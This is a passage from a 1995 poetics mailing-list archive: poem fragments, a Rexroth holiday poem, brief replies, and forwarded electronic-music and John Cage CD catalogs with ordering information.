it's as supposed.
broke in. a trade. plum.
had looked out
and trespassing.
what was to be level.
round in foment.
level and round.
it was a mixture of corners.
story. an answer to calling.
except.

An enjoyable read, from What Books....

Reading Retallack and Cage this morning, found myself thinking that I didn't want my almost steady flow of interruptions interrupted ....

Hank

↑ Index

388. Daniel Bouchard/College/hmco
Greeting
Fri 22 Dec 1995

A SWORD IN A CLOUD OF LIGHT

Your hand in mine, we walk out
To watch the Christmas Eve crowds
On Fillmore Street, the Black
District. The night is thick with
Frost. The people hurry, wreathed
In their smoky breaths. Before
The shop windows the children
Jump up and down with spangled

Eyes. Santa Clauses ring bells.
Cars stall and honk. Street cars clang.
Loud speakers on the lampposts
Sing carols, on juke boxes
In the bars Louis Armstrong
Plays White Christmas. In the joints
The girls strip and grind and bump
To Jingle Bells. Overhead
The neon signs scribble and
Erase and scribble again
Messages of avarice,
Joy, fear, hygiene, and the proud
Names of the middle classes.
The moon beams like a pudding.
We stop at the main corner
And look up, diagonally
Across, at the rising moon,
And the solemn, orderly
Vast winter constellations.
You say, Theres Orion!
The most beautiful object
Either of us will ever
Know in the world or in life
Stands in the moonlit empty
Heavens, over the swarming
Men, women, and children, black
And white, joyous and greedy,
Evil and good, buyer and victim,
Like some immense theorem
Which, if once solved would forever
Solve the mystery and pain
Under the bells and spangles.
There he is, the man of the
Night before Christmas, spread out
On the sky like a true god
In whom it would only be
Necessary to believe
A little. I am fifty
And you are five. It would do
No good to say this and it
May do no good to write it.
Believe in Orion. Believe

In the night, the moon, the crowded
Earth. Believe in Christmas and
Birthdays and Easter rabbits.
Believe in all those fugitive
Compounds of nature, all doomed
To waste away and go out.
Always be true to these things.
They are all there is. Never
Give up this savage religion
For the blood-drenched civilized
Abstractions of the rascals
Who live by killing you and me.

- Kenneth Rexroth (1905-1982)

To all poetics subscribers: happy holiday season and best wishes for a good new year.

[redacted]

↑ Index

389. **Bill Luoma**

Re: Wanna date?

Fri 22 Dec 1995

---

yes. i think the world of ruin. one person's self erasure is another's self eruption: afizz . . .

. . . . . .

help me, I'm.

cudgel of snow, or

maybe sun. I

think the world of you.

. . . . . .

hi 5 pat.

Bill

↑ Index

390. Loss Glazier
Dick Higgins/List of Sites
Fri 22 Dec 1995

Dick,

Just a note. Address changed this past Sept...

Old address:
> Interesting Poetry-
> ...
> Electronic Poetry
> Center-http://www.gopher://writing.upenn.edu/hh/internet/library/e-journals=
> /
> ub/rift/.hotlist

-----> New address: <-----
Electronic Poetry Center
http://writing.upenn.edu/epc

All best,
Loss

↑ Index

391. Chris Stroffolino
Re: Wanna date?
Fri 22 Dec 1995

Thanks hank--- insofar as the waxing and waning of the moon is mapped as "phases" in the blink of the shutter-eye, what is the "I" that wants to phase-out the non-self that wants to phase out the "I" if there is not an IDENTITY between the seemingly opposing nouns (agents) that draws one's attention to the similarity of the verbs? Trying, straining, groping, grappling, etc-- And yet to say LET is better than to MAKE itself can become dogma, rhetorical sleight of hand too. And for all those who can't see the proof for the pudding, to boot.... and for all those who have cars, don't drive drunk less xmas comes more than once a year..... cs....

↑ Index

392. Pierre Joris
ELECTRONIC MUSIC PIONEERS (fwd)
Sat 23 Dec 1995

It's probably too late for Xmas use, but here is a lovely catalogue of electronic music composer Joel Chadabe & his eMUSIC Foundation just put out. Should be

of interest to a num,ber of people on this list. There a special Cage catalogue, which I'll post seperately.

& may Clanta Sauce sweep all our chimneys with sexy abandon.

Pierre

Forwarded message:
> From [redacted] Mon Dec 11 13:03:24 1995
> From: [redacted]
> Date: Fri, 8 Dec 1995 12:16:51 -0500
> To: [redacted]
> Subject: ELECTRONIC MUSIC PIONEERS
>
> WELCOME TO eMUSIC
> ========== October 1995
> ELECTRONIC MUSIC PIONEERS!
>
> Welcome to the eMUSICx pioneers catalog. These are the basic discs, listed
> in approximate chronological order, that will give you an excellent overview
> of the history of electronic music. Bear in mind that this discography is
> neither definitive nor final-as we find new discs that we can recommend,
> we'll add them.
>
> Other eMUSICx catalogs are available. Please write, call or email for more
> information. Note the sections following the disc listing called HOW TO
> ORDER and ABOUT eMUSIC AND THE INNER CIRCLE.
>
>
> ========== THE DISCS
>
> FUTURISM AND DADA REVIEWED
> Historical recordings of artists Russolo, Marinetti, Duchamp, Tzara, Cocteau,
> Apollinaire, Schwitters, Huelsenbeck, with their voices and performances of
> their music, some of it words, some of it noise. Apollinaire recites his 'Le
> Pont Mirabeau' (1912), for example. Sub Rosa.
> => eMUSIC #SU-100 $19
>
> THE ART OF THE THEREMIN
> First demonstrated in 1920, the Theremin is played by moving one's hands in
> the air. Clara Rockmore is its first virtuoso, accompanied here by Nadia
> Reisenberg, pianist. The package includes an informative booklet. It's
> beautiful magic. Delos.
> => eMUSIC #DE-100 $16

>
> PIERRE SCHAEFFER: MUSICAL WORKS
> The definitive collection, including 'Etude aux Chemins de Fer' (Railroad
> Study, 1948), the first piece of musique concrete, and 'Symphonie pour un
> Homme Seul' (1950, Symphony for One Man Alone), which was a collboration
with
> Pierre Henry. Four discs and a book of essays (in French) and photographs.
> INA-GRM.
> => eMUSIC #IN-106-6 $57
>
> STOCKHAUSEN: ELEKTRONISHE MUSIK 1952-1960
> 'Etude' (1952), composed at Pierre Schaeffer's studio in Paris, 'Studie I'
> (1953), 'Studie II' (1954), 'Gesang der Junglinge' (1956), and 'Kontakte'
> (1960). A book of essays and articles in German and English, scores, and
> photographs. Stockhausen Verlag.
> => eMUSIC #ST-100-3 $57
>
> ELECTRONIC MUSIC PIONEERS
> ...from the Columbia-Princeton Electronic Music Center. Vladimir
> Ussachevsky's 'Sonic Contours' and Otto Luening's 'Low Speed, Invention In
> Twelve Tones', and 'Fantasy In Space' were played at the Museum of Modern
Art
> in New York on October 28, 1952. Also other compositions by Luening and
> Ussachevsky, and Pril Smiley, Bulent Arel, Alice Shields, and Mario
> Davidovsky. CRI.
> => eMUSIC #CR-100 $19
>
> GOTTFRIED MICHAEL KOENIG
> Koenig worked with Stockhausen in Cologne, then became director of the
> Institute for Sonology in Utrecht, Holland, where he began to formulate his
> pioneering approaches to composing with a computer. Here are his first
> electronic compositions including 'Klangfiguren II' (1955/56), 'Essay'
> (1957/58), and 'Terminus I' (1962), composed in Cologne; and 'Terminus II'
> (1966/67), 'Output' (1979), 'Funktion Rot' (1968), 'Funktion Grau' (1969),
> 'Funktion Blau' (1969), and 'Funktion Indigo' (1969), composed in Utrecht
> using an analog sequencer as a sound generator. Two discs and an
informative
> booklet. BVHaast.
> => eMUSIC #BV-100-2 $33
>
> BERIO / MADERNA
> Luciano Berio was at the Museum of Modern Art in New York on October 28,

> 1952, and it led him to establish, with Bruno Maderna, the Studio di
> Fonologia at the Italian Radio in Milan. Berio's 'Thema-Omaggio a Joyce'
> (1958) transforms text from James Joyce' Ulysses. Also: Berio's 'Momenti'
> (1960) and 'Visage' (1961) and Maderna's 'Le Rire' (1962) and 'Invenzione su
> una Voce' (1960). BVHaast.
> => eMUSIC #BV-106 $19
>
> FORBIDDEN PLANET
> The original 1956 soundtrack to MGM's 'Forbidden Planet' by Louis and Bebe
> Barron. In their words, "We created individual cybernetic circuits for
> particular themes and leit motifs..." One of the first electronic film
> tracks. GNP Crescendo.
> => eMUSIC #GN-100 $16
>
> JOHN CAGE 25-YEAR RETROSPECTIVE CONCERT
> In New York in 1951, with the help of Louis and Bebe Barron, John Cage and
> David Tudor established the Project for Music for Magnetic Tape. Earle
Brown
> arrived in 1952 and worked intensively with Cage to compose Cage's
'Williams
> Mix' (1952), named after architect Paul Williams who funded the project.
> Altogether, this is the famous recording, produced by George Avakian, of
> Cage's 25-Year Retrospective Concert at Town Hall, New York, in 1958.
> There's 'Williams Mix', 'Imaginary Landscape No. 1' (1939), 'The Wonderful
> Widow of Eighteen Springs' (1942), 'Music for Carillon No. 1' (1952),
> 'Sonatas and Interludes' (1948), and more. There's an extensive booklet,
> with score excerpts, photographs (some published for the first time), and
> text in English and German. Wergo.
> => eMUSIC #WE-145-4 $39
>
> THE NEW YORK SCHOOL 2
> In 1953, as part of the Project for Music for Magnetic Tape, Cage and Brown
> composed Brown's 'Octet I'. Also on this disc is music by John Cage, Morton
> Feldman, and Christian Wolff. Eberhard Blum plays flute and sound objects,
> Steffen Schleiermacher plays piano, Jan Williams plays percussion. The
> performances shine. Hat Hut.
> => eMUSIC #HA-251 $19
>
> COMPUTER MUSIC RETROSPECTIVE Lejaren Hiller's 'Illiac Suite' (1957)
was the
> first time a computer was used to make musical decisions. It was the start
> of algorithmic composing and ancestor of computer interaction. Also other

> pieces by Hiller, among them 'An Avalanche for Pitchman', 'Prima Donna',
> 'Player Piano', 'Percussionist and pre-Recorded Playback', and it's wild!
> With Jan Williams, percussion, Robert Dick, flute, Nora Post, oboe, Royal
> McDonald, pitchman, Norma Marder, prima donna, and Robert Rosen,
percussion.
> Wergo.
> => eMUSIC #WE-124 $19
>
> INDETERMINACY
> John Cage reads his stories, one per minute, while David Tudor performs
solos
> from the 'Concert for Piano and Orchestra' (1958). Tudor is great and Cage's
> stories are funny, touching, and intelligent. If you don't have this 2-CD
> set, you're missing an important part of life. Smithsonian/Folkways.
> => eMUSIC #SM-100-2 $29
>
> MUSIC FOR MERCE CUNNINGHAM
> Here's an important moment in the early history of electronic performance:
> John Cage's 'Cartridge Music' (1960) for phonograph cartridges and
amplified
> small objects, played by David Tudor, Michael Pugliese, and Takehisa Kosugi.
> Also 'Five Stone Wind' (1988) with Tudor, Pugliese and Kosugi playing
> amplified violin, bamboo flute, live electronics, tapes, and clay pots.
> Mode.
> => eMUSIC #MO-105 $16
>
> JAMES TENNEY: SELECTED WORKS 1961-1969
> Tenney began at Bell Labs at the dawn of computer music. He led the way.
> This disc includes 'Collage => eMUSIC #1' ("Blue Suede") (1961), 'Analog
=>
> eMUSIC #1: Noise Study' (1961), and other early pieces. Artifact.
> => eMUSIC #AR-106 $14
>
> IANNIS XENAKIS: LA LEGENDE D'EER
> The title comes from the end of Plato's The Republic. Xenakis composed the
> music with his graphics-based UPIC system. The music was part of his
Diatope,
> a tent-space, based on hyperbolic paraboloids, that he designed as a setting
> for these sounds, lights and lasers. The sounds are stunning, like nothing
> you've heard elsewhere. Montaigne.
> => eMUSIC #ME-103 $18
>

> MORTON SUBOTNICK
> Building on his first work with the Buchla synthesizer in 1965, in 'Touch'
> (1969), Subotnick touches things to control the sound. 'Jacob's Room' (1986),
> on the other hand, is hi-tech drama with Joan La Barbara, soprano. From
> 'Touch' to 'Jacob's Room' is technology time travel. Wergo.
> => eMUSIC #WE-104 $19
>
> I AM SITTING IN A ROOM
> The resonance of a room gradually transforms Alvin Lucier's voice into
> abstract sounds. Composed in 1969, Lucier was at the time developing his
> unique approach to using acoustic processes as the basis for his music.
> Lovely.
> => eMUSIC #LO-103 $18
>
> JOHN CHOWNING
> Breakthrough moments in computer music, including 'Sabelithe' (1966, revised
> 1971), 'Turenas' (1972), 'Stria' (1977), and 'Phone' (1981). Chowning aimed
> at sounds that were special to computers yet expressive and beautiful. In
> 'Stria', for example, the sounds are simply out of this world. Wergo.
> => eMUSIC #WE-102 $19
>
> RISSET
> Classics of elegant computer music: 'Inharmonique' (1977), which relates
> sound and harmony; 'Sud' (1985), based on sounds of the sea near Marseilles;
> 'Dialogues' (1975), for flute, clarinet, piano, and percussion with taped
> computer sounds; and 'Mutations' (1969), composed at Bell Labs in New
> Jersey. INA-GRM.
> => eMUSIC #IN-103 $19
>
> ROARATORIO
> One of John Cage's big big big works, composed in 1979, with Cage reading his
> text 'Writing for the Second Time Through Finnegans Wake', Irish musicians
> playing and singing, and all the sounds mentioned in Finnegans Wake as
> assembled by Cage on a 62-track collage tape. Two discs include a
> conversation between Cage and Klaus Schoning (who commissioned the work for
> the WDR in Cologne) and a solo recording of Cage reading his text. Also two
> booklets with essays, conversations, and the text. Mode.
> => eMUSIC #MO-108-3 $31

>
> THE HUB
> Music by John Bischoff, Tim Perkis, Chris Brown, Scot Gresham-Lancaster, Mark
> Trayle, and Phil Stone, all in the San Francisco area. It's a network
> approach to group performance. Artifact.
> => eMUSIC #AR-101 $14
>
> CONCERTO GROSSO
> Richard Teitelbaum composed this in 1985. Improvisations by Teitelbaum
> (keyboard and computer), Anthony Braxton (saxophones), and George Lewis
> (trombone) alternate with computer-controlled acoustic grand pianos and
> synthesizers. Lively, musical. Hat Hut.
> => eMUSIC #HA-118 $19
>
> GIUSEPPE G. ENGLERT
> Englert was a founder of the Groupe Art et Informatique de Vincennes (GAIV)
> in Paris. He's always looked for new ways to compose, to think. 'Sopra la
> Girolmeta' (1991), the electronic work here, is about algorithms and
> interactivity. Other pieces include 'Les Avoines folles' (1963) for string
> quartet, 'Fragment & Caracol' (1974) for orchestra, and 'Babel' (1983) for
> orchestra. Grammont.
> => eMUSIC #GR-101 $19
>
> DIGITAL SOUNDSCAPES
> Barry Truax's 'Riverrun' (1986) was a breakthrough in granular synthesis
> techniques. Truax said: "...to the fullest force of its mass, a river is
> formed from a collection of countless droplets..." Also 'The Blind Man'
> (1979), 'Aerial' (1979), 'Wave Edge' (1983), and 'Solar Ellipse' (1985).
> Cambridge.
> => eMUSIC #CG-100 $16
>
> XXIst CENTURY MANDOLIN
> David Jaffe's 'Silicon Valley Breakdown' (1982, revised 1993) was a
> breakthrough in the synthesized plucked string department, as in bluegrass,
> hoedowns, and all manner of styles. There's 'Grass Valley Fire', 1988,
> played by the Modern Mandolin Quartet, 'American Miniatures', composed with a
> NeXT Computer, and 'Ellis Island Sonata', with Jaffe playing mandolin. Well
> Tempered.
> => eMUSIC #WT-100 $18
>

> LEAPDAY NIGHT
> In the mid 1980s, David Behrman's computer listened and reacted to what an
> instrumentalist played. In 'Leapday Night' it's listening to Ben Neill and
> Rhys Chatham play trumpets, and in 'Interspecies Smalltalk' it's listening to
> Takehisa Kosugi play violin. Also 'A Traveller's Dream Journal'. Lovely.
> => eMUSIC #LO-107 $16
>
> MORE THAN IDLE CHATTER
> 'Idle Chatter, just_more_idel_chatter', 'Notjustmoreidlechatter', and other
> pieces from the mid 1980s and early 1990s that play with speech and the
> computer in a new way. As Lansky said, "There is music in speech, and
speech
> in song." Bridge.
> => eMUSIC #BR-111 $16
>
> PERFECT LIVES
> Robert Ashley's video opera about bank robbery, cocktail lounges, geriatric
> love, adolescent elopement, et al, in the American midwest. One of the
> definitive text-sound compositions of the late 20th century and beautiful
> music. "Who needs the Bible? We have Perfect Lives."-John Cage. Lovely.
> => eMUSIC #LO-127-3 $47
>
> TONGUES OF FIRE
> Trevor Wishart is, by turns, comic, threatening, complex, and simple, as he
> makes virtuoso computer transformations of his unique vocal sounds. A 25
> minute CD, but packed. OTP.
> => eMUSIC #OT-100 $14
>
> MOVIN' ON
> Updated jazz. Bruno Spoerri plays saxophones, Synthophone (electronic
> saxophone invented by Martin Hurni in Switzerland), synthesizers, and a
> Macintosh computer. Reto Weber does a lot with percussion. With Albert
> Mengelsdorff, trombonist, and Ernst Reijseger, cellist. Turicaphon.
> => eMUSIC #TU-100 $19
>
>
> ==========   HOW TO ORDER
>
> Contact eMUSICx by email, fax, regular mail, or telephone, with a list of the
> CDs you'd like to buy. Bear in mind that certain prices may change and that
> some discs are available only in relatively small numbers. We'll fill orders
> at current prices as we receive them.

>
> Tell us your address (including email) and phone numbers, and where you'd
> like the discs shipped.
>
> Please pay in advance. You can calculate the amount of your payment as
> follows:
>
> 1. Add together the prices of the discs you'd like to buy. INNER CIRCLE
> subscribers, take a 10% discount from the sum. ICMA or SEAMUS members, take a
> 5% discount from the sum. Discounts are not cumulative.
>
> 2. Then add the appropriate amount for shipping (priority mail) and
> handling. If a disc is listed in the format LO-100, for example, count it as
> one disc for shipping. If there's an extra number at the end, as in
> "ST-100-3," for example -- the "3" at the end means that for shipping
> purposes, the package should be counted as three discs. Use the following
> table to calculate shipping/handling costs:
>
> North America & Mexico: First disc $2.00, each additional disc $1.00.
> South America: First disc $3.00, each additional disc $1.50.
> Europe: First disc $4.00, each additional disc $2.00.
> Asia/Australasia: First disc $5.00, each additional disc $2.50.
>
> 3. Then, if you live in New York State, add 8% sales tax to the total. (New
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> Telephone to: [redacted]
> Hard mail and carrier pigeon to: eMUSICx, 116 North Lake Avenue, Albany NY

> 12206, USA
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>
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> eMUSICx is a program of Electronic Music Foundation (EMF). A not-for-profit
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> Electronic Music Foundation
> 116 North Lake Avenue
> Albany NY 12206
> USA
>
> Voice: [redacted]
> Fax: [redacted]

> Email: [redacted]
>

==========
========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
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↑ Index

393. **Pierre Joris**

John Cage Discography (fwd)

Sat 23 Dec 1995

Forwarded message:
From: [redacted]
Date: Fri, 15 Dec 1995 11:23:27 -0500
To: [redacted]
Subject: John Cage Discography

WELCOME TO eMUSIC!
========== FALL 1995

A SELECTED JOHN CAGE DISCOGRAPHY

This selected discography, with discs listed in somewhat chronological order, is drawn from all the CDs currently in print that contain Cage's music. It is neither definitive nor final: as we find new discs that we can recommend, we'll add them. Meanwhile, all the major phases of Cage's career are represented here, with some works available in more than one version.

The Cage discography is the first of our subject catalogs. In the next few months, you can expect to see catalogs on microtonal music, pioneers of electronic music, words and music, transformed sounds, improvisation, and more.

You'll also see a variety of special catalogs from time to time. Coming soon: a Larry Austin birthday tribute, with the entire CDCM catalog at sale prices; a group of special publisher offers; and "Discs Warren Burt has Known and Loved."

For information on how to order CDs, read HOW TO ORDER immediately following the listing of discs.

For more information about eMUSIC, read ABOUT eMUSIC.

If you would like to hear more from us, please tell us -- by ordering a disc, by sending us a message that you'd like to stay on our mailing list, or by joining the INNER CIRCLE. We suggest that you read about discounts and other benefits in the section called ABOUT THE INNER CIRCLE, which follows the disc listing.

========== THE DISCS

WORKS FOR PERCUSSION Many of Cage's early percussion works, wonderfully performed by the Quatuor Helios. Included are 'First Construction (in metal)' (1939), 'Second Construction' (1940), 'Third Construction' (1941), 'Double Music' (composed with Lou Harrison, 1941), 'Imaginary Landscape No. 2' (1942), and 'Amores' and 'She is Asleep' (both 1943). Wergo. => eMUSIC #WE-143 $19

WORKS FOR PIANO... VOLUME III Works for piano, toy piano and prepared piano, performed by Joshua Pierce, Maro Ajemian, Marilyn Crispell, and Joseph Kubera. The disc includes: 'Suite for Toy Piano' (1948), the solo piano version of 'The Seasons' (1947), 'Music for Amplified Toy Pianos,' and 'A Book of Music' (1944) for two prepared pianos. Wergo. => eMUSIC #WE-140 $19

THE PERILOUS NIGHT 'The Perilous Night' (1944), performed beautifully Margaret Leng Tan. As Cage said, "I had poured a great deal of emotion into the piece..." 'Four Walls' (1944), also on this disc, was written during the same period. New Albion. => eMUSIC #NA-126 $17

SONATAS AND INTERLUDES
Joshua Pierce's delicate and sparkling performance of 'Sonatas and Interludes' (1948) for prepared piano, perhaps Cage's most recorded work. Wergo.
=> eMUSIC #WE-146 $19

MUSIC OF CHANGES 'Music of Changes' (1951), Cage's first rigorous application of chance techniques to composition. Originally written for David Tudor, it's played here by Herbert Henck. An essential part of every Cage collection. Wergo. => eMUSIC #WE-137 $19

THE NEW YORK SCHOOL 1 This disc contains Cage's 'Variation 1' (1958), 'Seven Haiku' (1952), and 'Solo for Flute, Alto Flute and Piccolo' (1958). More: Earle Brown's 'Folio' (1953), 'Music for Cello and Piano'; Morton Feldman's 'Projection 1' (1950), 'Extension 3' (1953), 'Intersection 4' (1954), 'Duration 2' (1960); and Christian Wolff's 'For Prepared Piano' (1951), 'For One, Two or Three Performers' (1964). Eberhard Blum plays flute, Frances Marie Uitti plays cello, Nils Vigeland plays piano. Hat Hut. => eMUSIC #HA-209 $19

THE NEW YORK SCHOOL 2 Whether or not John Cage, Earle Brown, Morton Feldman, and Christian Wolff were a "school," their music surely goes well together. Eberhard Blum plays flute and sound objects, Steffen Schleiermacher plays piano, Jan Williams plays percussion. The performances shine. Williams does 'cC/omposed Improvisation' (1987) as a snare drum solo. Blum, as in 'Variations II' (1961), makes acoustic realizations of Cage works earlier realized with electronics. Brown's 'Octet I' (1953) was part of Cage's Project of Music for Magnetic Tape. Hat Hut. => eMUSIC #HA-251 $19

25-YEAR RETROSPECTIVE CONCERT The famous recording, produced by George Avakian, of Cage's 25-Year Retrospective Concert at Town Hall, New York City, in 1958, with 'Imaginary Landscape No. 1' (1939), 'The Wonderful Widow of Eighteen Springs' (1942), 'Music for Carillon No. 1' (1952), 'Sonatas and Interludes' (1948), 'Williams Mix' (1952) from the Project of Music for Magnetic Tape, and more. There's an extensive booklet, with score excerpts, photographs (some published for the first time), and text in English and German. Wergo. => eMUSIC #WE-145-4 $39

INDETERMINACY John Cage himself reads his stories at the rate of one per minute -- while David Tudor simultaneously and asynchronously performs the piano solo from the 'Concert for Piano and Orchestra' (1958). Tudor is great and Cage's stories are funny, touching, and intelligent. If you don't have this 2-CD set, you're missing an important part of life. Smithsonian/Folkways. => eMUSIC #SM-100-2 $29

CONCERT FOR PIANO AND ORCHESTRA & ATLAS ECLIPTICALIS These performances by the SEM Ensemble, conducted by Petr Kotik with Joseph Kubera playing piano, are the best performances of 'Concert for Piano and Orchestra' (1958) and 'Atlas Eclipticalis' (1961) available on disc. Kotik understands Cage. Wergo. => eMUSIC #WE-144 $19

MUSIC FOR MERCE CUNNINGHAM Here's an important moment in the early history of electronic performance: John Cage's Cartridge Music (1960) for phonograph cartridges and amplified small objects, played by David Tudor, Michael Pugliese, and Takehisa Kosugi. This performance is gentle yet somehow "crunchy." Also Five Stone Wind (1988) with Tudor, Pugliese and Kosugi playing amplified violin, bamboo flute, live electronics, tapes, and clay pots. Mode. => eMUSIC #MO-105 $16

ERIK SATIE: SOCRATE & JOHN CAGE: CHEAP IMITATION A perfect post-modern pairing! Satie's 'Socrate,' performed here in the original version by Hilke Helling, alto, and Deborah Richards, pianist. And Cage's 'Cheap Imitation' (1969) for piano, the re-processed version, performed by Herbert Henck. Wergo. => eMUSIC #WE-142 $19

ETUDES AUSTRALES Grete Sultan, for whom they were composed, plays the 'Etudes Australes' (1975), a massive and virtuoso set of piano etudes from the 1970s. Wergo. => eMUSIC #WE-147-3 $57

JOHN CAGE: VIOLIN MUSIC Paul Zukofsky plays Cage's 'Chorals' (from 'Solos for Voice'), 'Cheap Imitation' (1969), and 'Freeman Etudes I-VIII' (1980 & 1990). In 'Chorals,' perhaps Cage's most intensely microtonal piece, Zukofsky shows just how finely pitches can be played. This version of 'Cheap Imitation,' composed in consultation with Zukofsky, uses a multi-modal Pythagorean tuning. And the 'Freeman Etudes' might qualify as the most difficult violin music ever written. CP2. => eMUSIC #CP-102 $16

SINGING THROUGH Joan La Barbara sings Cage's vocal music beautifully. There's 'Mirakus' (1984) on a text by Marcel Duchamp, 'Eight Whiskus' (1984) on a text by Chris Mann, 'The Wonderful Widow of Eighteen Springs' (1942) and 'Nowth Upon Nacht' (1984) on text from James Joyce's 'Finnegans Wake,' 'Sonnekus' (1985) on Biblical and cabaret texts, 'Forever and Sunsmell' (1942) on text by e.e.cummings, 'Solo for Voice 49' (1970) on text by Henry David Thoreau, 'Solo for Voice 52' (1970) using vowels from Erik Satie and Thoreau texts, 'Solo for Voice 67' (1970) using various words, and 'Music for Two (by One)' (1984) on abstract vocal sounds. New Albion. => eMUSIC #NA-110 $17

JOHN CAGE: ORCHESTRAL WORKS 1 Finally! '101' (1989), for cooperative musicians without a conductor; 'Apartment House 1776' (1976), historical musicircus Americana written for the bicentennial; and 'Ryoanji' (1985), in this version for four soloists and orchestra. Cage found a new way of writing for orchestra. Mode. => eMUSIC #MO-118 $16

ROARATORIO One of John Cage's big big big works, composed in 1979, with Cage reading his text 'Writing for the Second Time Through Finnegans Wake,' Irish musicians playing and singing, and all the sounds mentioned in "Finnegans Wake" as assembled by Cage on a 62-track collage tape. Two discs include a conversation between Cage and Klaus Schoning (who commissioned the work for the WDR in Cologne) and a solo recording of Cage reading his text. Also two booklets with essays, conversations, and the text. Mode. => eMUSIC #MO-108-3 $31

JOHN CAGE: FREEMAN ETUDES, BOOKS ONE & TWO Irvine Arditti plays the first half of this massive virtuoso solo violin work composed in the late 1970s and again in the late 1980s, written as an example of the 'hard work' that would be necessary to solve global problems. If Arditti's virtuosity is an indication, there's hope for the world. Mode. => eMUSIC #MO-116 $16

JOHN CAGE: FREEMAN ETUDES, BOOKS THREE & FOUR
Irvine Arditti plays the second half of this major violin work. It's even denser, even harder than the first. And again, Arditti plays them with

elegance. Mode.
=> eMUSIC #MO-117 $16

EUROPERAS 3 & 4 John Cage wrote: "What is Europera 3 but a big party?" And indeed it is! Juxtapositions of singing, pianos, old recordings, and all manner of sounds suggestive of opera. And with 'Europera 4,' all the elements of opera come together in a big party. Performed by the Long Beach Opera. Mode. => eMUSIC #MO-112-3 $29

EUROPERA 5 The last of the series of Cage's assemblages of the European opera tradition, 'Europera 5' (1991) calls for two singers (Martha Herr and Gary Burgess), one piano (Yvar Mikhashoff), one 78-rpm victrola, one radio (Jan Williams), and one tape (Don Metz), all of which are combined in such a way that long silences and hilarious juxtapositions occur. Mode. => eMUSIC #MO-111 $16

JOHN CAGE: COMPLETE STRING QUARTETS, VOLUME 1 Cage wrote one "early" and three "late" string quartets. The Arditti Quartet very understandingly plays two of the late works: 'Thirty Pieces for String Quartet' (1981) and 'Music for Four for String Quartet' (composed as part of Cage's 'Music For ' series between 1984 and 1987). Mode. => eMUSIC #MO-114 $16

JOHN CAGE: COMPLETE STRING QUARTETS, VOLUME 2 The Arditti Quartet plays the 'String Quartet in 4 Parts' (1950), an early transitional piece that floats gently along in its serene and lovely way. Also the very late 'Four,' which refines, if anything, the stillness of its predecessor in terms more austere. Mode. => eMUSIC #MO-115 $16

THE NUMBER PIECES 1 Three very late, rarified, sparse chamber pieces by John Cage. 'Four3' (1991), based on Satie's 'Vexations' and composed for Merce Cunningham, is scored for twelve rainsticks, two pianos (one inside the hall and one outside) and violin playing held notes. 'One5' (1990) is a solo piano work and 'Two6' (1992) is a piece for violin and piano, recorded by Martine Joste and Ami Flammer, the musicians Cage wrote it for. Mode. => eMUSIC #MO-119 $16

FIFTY-EIGHT One of John Cage's very last pieces, 'Fifty-Eight' was written for the Pannonisches Blasorchester, an Austrian/Hungarian wind band, to perform it in the Renaissance courtyard of the Landhaushof in Graz. The porticos around the courtyard consist of fifty-eight arches. One wind player was stationed in each arch. Hat Hut. => eMUSIC #HA-241 $19

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116 North Lake Avenue
Albany NY 12206
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Voice: [redacted]
Fax: [redacted]
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↑ Index

394. **Pierre Joris**
John Cage Discography (fwd)
Sat 23 Dec 1995

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woops, that was not a new versions of empty words I sent over, only an eel-glitch. here's the cage cat -- pierre

& hope to see many of you in Chicago: the MILLENNIUM party's on thursday, december 28 @ 5:15 in Chicago Ballroom C of the Chicago Marriott Hotel

Forwarded message:
> From [redacted] Fri Dec 15 11:35:50 1995
> From: [redacted]
> Date: Fri, 15 Dec 1995 11:23:27 -0500
> To: [redacted]
> Subject: John Cage Discography
>
> WELCOME TO eMUSIC!
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> A SELECTED JOHN CAGE DISCOGRAPHY
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> with Lou Harrison, 1941), 'Imaginary Landscape No. 2' (1942), and 'Amores'
> and 'She is Asleep' (both 1943). Wergo.
> => eMUSIC #WE-143 $19
>
> WORKS FOR PIANO... VOLUME III
> Works for piano, toy piano and prepared piano, performed by Joshua Pierce,

> Maro Ajemian, Marilyn Crispell, and Joseph Kubera. The disc includes: 'Suite
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> => eMUSIC #WE-140 $19
>
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> 'The Perilous Night' (1944), performed beautifully Margaret Leng Tan. As
> Cage said, "I had poured a great deal of emotion into the piece..." 'Four
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> => eMUSIC #NA-126 $17
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> SONATAS AND INTERLUDES
> Joshua Pierce's delicate and sparkling performance of 'Sonatas and
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> THE NEW YORK SCHOOL 1
> This disc contains Cage's 'Variation 1' (1958), 'Seven Haiku' (1952), and
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> and Christian Wolff's 'For Prepared Piano' (1951), 'For One, Two or Three
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> cello, Nils Vigeland plays piano. Hat Hut.
> => eMUSIC #HA-209 $19
>
> THE NEW YORK SCHOOL 2
> Whether or not John Cage, Earle Brown, Morton Feldman, and Christian
Wolff
> were a "school," their music surely goes well together. Eberhard Blum plays
> flute and sound objects, Steffen Schleiermacher plays piano, Jan Williams
> plays percussion. The performances shine. Williams does 'cC/omposed
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> (1961), makes acoustic realizations of Cage works earlier realized with
> electronics. Brown's 'Octet I' (1953) was part of Cage's Project of Music
> for Magnetic Tape. Hat Hut.
> => eMUSIC #HA-251 $19
>
> 25-YEAR RETROSPECTIVE CONCERT
> The famous recording, produced by George Avakian, of Cage's 25-Year
> Retrospective Concert at Town Hall, New York City, in 1958, with 'Imaginary
> Landscape No. 1' (1939), 'The Wonderful Widow of Eighteen Springs' (1942),
> 'Music for Carillon No. 1' (1952), 'Sonatas and Interludes' (1948), 'Williams
> Mix' (1952) from the Project of Music for Magnetic Tape, and more. There's
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> CONCERT FOR PIANO AND ORCHESTRA & ATLAS ECLIPTICALIS
> These performances by the SEM Ensemble, conducted by Petr Kotik with
Joseph
> Kubera playing piano, are the best performances of 'Concert for Piano and
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> This performance is gentle yet somehow "crunchy." Also Five Stone Wind
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> A perfect post-modern pairing! Satie's 'Socrate,' performed here in the
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> => eMUSIC #WE-142 $19
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> Grete Sultan, for whom they were composed, plays the 'Etudes Australes'
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> 'Freeman Etudes' might qualify as the most difficult violin music ever
> written. CP2.
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> SINGING THROUGH
> Joan La Barbara sings Cage's vocal music beautifully. There's 'Mirakus'
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> One of John Cage's big big big works, composed in 1979, with Cage reading his
> text 'Writing for the Second Time Through Finnegans Wake,' Irish musicians
> playing and singing, and all the sounds mentioned in "Finnegans Wake" as
> assembled by Cage on a 62-track collage tape. Two discs include a
